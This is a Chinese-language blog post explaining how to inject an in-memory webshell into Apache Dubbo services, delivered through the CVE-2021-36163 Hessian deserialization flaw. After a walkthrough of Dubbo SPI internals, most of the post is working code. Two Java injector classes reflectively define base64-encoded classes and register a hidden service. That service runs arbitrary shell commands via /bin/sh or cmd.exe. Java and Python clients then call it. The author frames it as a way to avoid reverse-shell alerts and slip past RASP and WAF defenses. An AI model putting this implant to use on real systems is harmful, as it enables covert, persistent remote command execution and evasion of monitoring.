学习源码顺便玩玩内存马加深印象,比如某些环境不想触发反弹shell触发告警可以写入内存马方便快速操作(命令执行,文件管理,绕rasp,waf等)
漏洞测试环境: https://securitylab.github.com/advisories/GHSL-2021-094-096-apache-dubbo/
dubbo使用hessian协议对外暴露服务时触发反序列化漏洞 Issue 2: Unsafe deserialization in providers using the Hessian protocol (CVE-2021-36163/GHSL-2021-095)
代码环境: https://github.com/apache/dubbo-samples dubbo-sample-http
基于CVE-2021-36163,http over hessian
http-provider.xml 配置:
1 2 3 4 5 6 7 <dubbo:registry address ="zookeeper://${zookeeper.address:127.0.0.1}:2181" /> <dubbo:protocol name ="hessian" port ="8085" server ="jetty" /> <bean id ="demoService" class ="org.apache.dubbo.samples.http.impl.DemoServiceImpl" /> <dubbo:service interface ="org.apache.dubbo.samples.http.api.DemoService" ref ="demoService" protocol ="hessian" />
内存马前置知识 注入内存马无非就是修改关键变量中添加恶意的路由和对应的服务映射,所以一步步回溯寻找可修改关键变量的点是最主要的。
dubbo SPI https://blog.csdn.net/top_code/article/details/51934459
dubbo中获取各种对象很多场景使用SPI(service provider interface) ,spi核心的作用就是解耦代码。用户直接调用接口即可直接调用实现代码,调用的最终实现从配置,远程等方式读取。
单从上面链接中的例子看不出此模式的优势,举个栗子:比如某场景调用信息模块只需要调用接口代码即可获取信息,后端通过服务发现,webservice服务(Eureka,Feign)会将请求转发到其他模块执行,这样就完全进行了代码解耦。
dubbo中到处都用到了SPI的调用方式,也对jdk原生的spi模式进行了优化,dubbo的扩展机制是dubbo实现扩展各种协议和各种反序列化方法的基础:https://dubbo.apache.org/zh/docsv2.7/dev/source/dubbo-spi/
扩展加载器特点: dubbo会将所有待被使用的扩展均缓存然后按需调用,所以代码中会经常看到如下类似代码:
从接口加载指定名称实例:
#getExtension
1 ExtensionLoader.getExtensionLoader(Protocol.class).getExtension("hessian")
决定要注入的目标扩展。 目标扩展的名称由 URL 中传递的参数决定,参数名称由该方法给出。 Decide which target extension to be injected. The name of the target extension is decided by the parameter passed in the URL, and the parameter names are given by this method.
比如接口Protocol中export和refer就存在@Adaptive注解,可以根据url设置的协议动态选择协议:
dubbo:// hessian:// rmi://,
@SPI(“dubbo”)默认为dubboProtocol协议:
@adaptive
1 ExtensionLoader.getExtensionLoader(Protocol.class ).getAdaptiveExtension ()
自激活(active) 内存马无需用到这部分知识,忽略。
内存马注入 通过断点发现 org.apache.dubbo.rpc.protocol.hessian.HessianProtocol.HessianHandler#handle: skeletonMap中存在路由和调用方法对应关系,所以寻找可以修改skeletonMap参数的点即可:
skeletonMap.put下断点一路回溯看是否存在静态对象可获取最终修改skeletonMap:
最终发现dubbo通过PROTOCOL对象进行export方法调用最终会触发修改skeletonMap,此时可以看出PROTOCOL是通过spi方式调用接口获取的自适应扩展:
1 private static final Protocol PROTOCOL = (Protocol)ExtensionLoader.getExtensionLoader(Protocol.class ).getAdaptiveExtension () ;
参考以下代码: org/apache/dubbo/dubbo/2.7.10/dubbo-2.7.10.jar!/org/apache/dubbo/config/ServiceConfig.class:424
1 2 3 4 Invoker<?> invoker = PROXY_FACTORY.getInvoker(this .ref, this .interfaceClass, registryURL.addParameterAndEncoded("export" , url.toFullString())); DelegateProviderMetaDataInvoker wrapperInvoker = new DelegateProviderMetaDataInvoker(invoker, this ); Exporter<?> exporter = PROTOCOL.export(wrapperInvoker); this .exporters.add(exporter);
jndi反序列化时代码,将接口和实现类base64编码通过defineClass加载,最终export:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import org.apache.dubbo.common.URL;import org.apache.dubbo.common.bytecode.Proxy;import org.apache.dubbo.common.extension.ExtensionLoader;import org.apache.dubbo.common.utils.ClassUtils;import org.apache.dubbo.rpc.Invoker;import org.apache.dubbo.rpc.Protocol;import org.apache.dubbo.rpc.ProxyFactory;public class MemInject { public byte [] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder" ); return (byte []) clazz.getMethod("decodeBuffer" , String.class ).invoke (clazz .newInstance (), str ) ; } catch (Exception e) { Class clazz = Class.forName("java.util.Base64" ); Object decoder = clazz.getMethod("getDecoder" ).invoke(null ); return (byte []) decoder.getClass().getMethod("decode" , String.class ).invoke (decoder , str ) ; } } public MemInject () { try { Protocol protocolObj = ExtensionLoader.getExtensionLoader(Protocol.class).getExtension("hessian"); URL url = new URL("hessian" , "0.0.0.0" , 8085 , "sb" ); ProxyFactory proxyFactoryObj = ExtensionLoader.getExtensionLoader(ProxyFactory.class ).getAdaptiveExtension () ; java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true ); String extendServiceStr = "[extendService_interface_code]" ; String extendServiceImpl = "[extendServiceImpl_code]" ; byte [] extServiceBytes = base64Decode(extendServiceStr); byte [] extServiceImplBytes = base64Decode(extendServiceImpl); ClassLoader proxyClassLoader = ClassUtils.getClassLoader(Proxy.class ) ; Class extServiceClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceBytes, new Integer(0 ), new Integer(extServiceBytes.length)}); Class extServiceImplClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceImplBytes, new Integer(0 ), new Integer(extServiceImplBytes.length)}); Invoker evilInvoker = proxyFactoryObj.getInvoker(extServiceImplClazz.newInstance(), extServiceClazz, url); protocolObj.export(evilInvoker); } catch (Exception e) { e.printStackTrace(); } } }
恶意接口和实现类:
1 2 3 public interface DemoService { String cmd (String c) ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 public class DemoServiceImpl implements DemoService { @Override public String cmd (String c) { String result = null ; try { String[] cmd = System.getProperty("os.name" ).toLowerCase().contains("windows" ) ? new String[]{"cmd.exe" , "/c" , c} : new String[]{"/bin/sh" , "-c" , c}; result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A" ).next(); } catch (Exception e) { result = e.getMessage(); } return result; } }
客户端调用之前设置的接口方法,即可触发注入的内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import com.caucho.hessian.client.HessianProxyFactory;public class HessianRequest { public static String urlName = "http://127.0.0.1:8085/sb" ; public static void main (String[] args) throws MalformedURLException { HessianProxyFactory factory = new HessianProxyFactory(); factory.setOverloadEnabled(true ); HelloHessian helloHession = (HelloHessian) factory.create( HelloHessian.class , urlName ) ; String result = helloHession.cmd("ifconfig" ); System.out.println(result); } }
dubbo原生协议注入内存马 dubbo版本小于 2.7.6
dubbo provider.xml
1 <dubbo:protocol name ="dubbo" port ="20880" host ="127.0.0.1" />
20880端口反序列化注入同理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import org.apache.dubbo.common.URL;import org.apache.dubbo.common.bytecode.ClassGenerator;import org.apache.dubbo.common.extension.ExtensionLoader;import org.apache.dubbo.common.utils.ClassUtils;import org.apache.dubbo.rpc.Exporter;import org.apache.dubbo.rpc.Invoker;import org.apache.dubbo.rpc.Protocol;import org.apache.dubbo.rpc.ProxyFactory;import org.apache.dubbo.rpc.protocol.dubbo.DubboExporter;import org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Map;public class MemInjectDubbo { public byte [] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder" ); return (byte []) clazz.getMethod("decodeBuffer" , String.class ).invoke (clazz .newInstance (), str ) ; } catch (Exception e) { Class clazz = Class.forName("java.util.Base64" ); Object decoder = clazz.getMethod("getDecoder" ).invoke(null ); return (byte []) decoder.getClass().getMethod("decode" , String.class ).invoke (decoder , str ) ; } } public MemInjectDubbo () { try { Protocol protocolObj = ExtensionLoader.getExtensionLoader(Protocol.class).getExtension("dubbo"); int i = 4 ; do { i--; try { Field protocolField = protocolObj.getClass().getDeclaredField("protocol" ); protocolField.setAccessible(true ); protocolObj = (Protocol) protocolField.get(protocolObj); } catch (Exception e) { ; } } while (protocolObj.getClass() != DubboProtocol.class || i < 0) ; URL dubboURL = new URL("dubbo" , "0.0.0.0" , 20880 , "x.extendService" ); ProxyFactory proxyFactoryObj = ExtensionLoader.getExtensionLoader(ProxyFactory.class).getExtension("jdk"); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true ); String extendServiceStr = "[base64_classbytes]" ; String extendServiceImpl = "[base64_classbytes]" ; byte [] extServiceBytes = base64Decode(extendServiceStr); byte [] extServiceImplBytes = base64Decode(extendServiceImpl); ClassLoader proxyClassLoader = ClassUtils.getClassLoader(ClassGenerator.class ) ; Class extServiceClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceBytes, new Integer(0 ), new Integer(extServiceBytes.length)}); Class extServiceImplClazz = (Class) defineClassMethod.invoke(proxyClassLoader, new Object[]{extServiceImplBytes, new Integer(0 ), new Integer(extServiceImplBytes.length)}); Invoker<?> invoker = proxyFactoryObj.getInvoker(extServiceImplClazz.newInstance(), extServiceClazz, dubboURL); URL url = invoker.getUrl(); Field exporterMapField = protocolObj.getClass().getSuperclass().getDeclaredField("exporterMap" ); exporterMapField.setAccessible(true ); Map<String, Exporter<?>> exporterMap = (Map<String, Exporter<?>>) exporterMapField.get(protocolObj); Method serviceKeyMethod = protocolObj.getClass().getSuperclass().getDeclaredMethod("serviceKey" , URL.class ) ; serviceKeyMethod.setAccessible(true ); String key = (String) serviceKeyMethod.invoke(protocolObj, url); DubboExporter exporter = new DubboExporter(invoker, key, exporterMap); exporterMap.put(key, exporter); } catch (Exception e) { e.printStackTrace(); } } }
客户端调用即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from dubbo.codec.hessian2 import new_objectfrom dubbo.client import DubboClientfrom dubbo.java_class import JavaStringclient = DubboClient('127.0.0.1' , 20880 ) resp = client.send_request_and_return_response( service_name='x.extendService' ,service_version="" , method_name='cmd' , args=[JavaString("open -na calculator" )]) print(resp)
部分疑问
http over hessian内存马,为啥不直接注入jetty filter或者servlet马? 目前使用网上jetty内存马无法在dubbo中找到org.eclipse.jetty.webapp:type=webappcontext对象
随便写写,抛砖引玉,如有错误请联系。